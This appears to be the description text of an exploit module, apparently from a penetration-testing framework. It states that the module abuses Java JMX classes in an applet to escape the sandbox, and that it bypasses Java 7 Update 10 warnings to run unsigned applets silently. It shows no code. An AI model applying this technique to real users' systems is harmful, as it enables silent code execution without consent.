    					This module abuses the JMX classes from a Java Applet to run arbitrary Java code
    				outside of the sandbox as exploited in the wild in February of 2013. Additionally,
    				this module bypasses default security settings introduced in Java 7 Update 10 to run
    				unsigned applet without displaying any warning to the user.
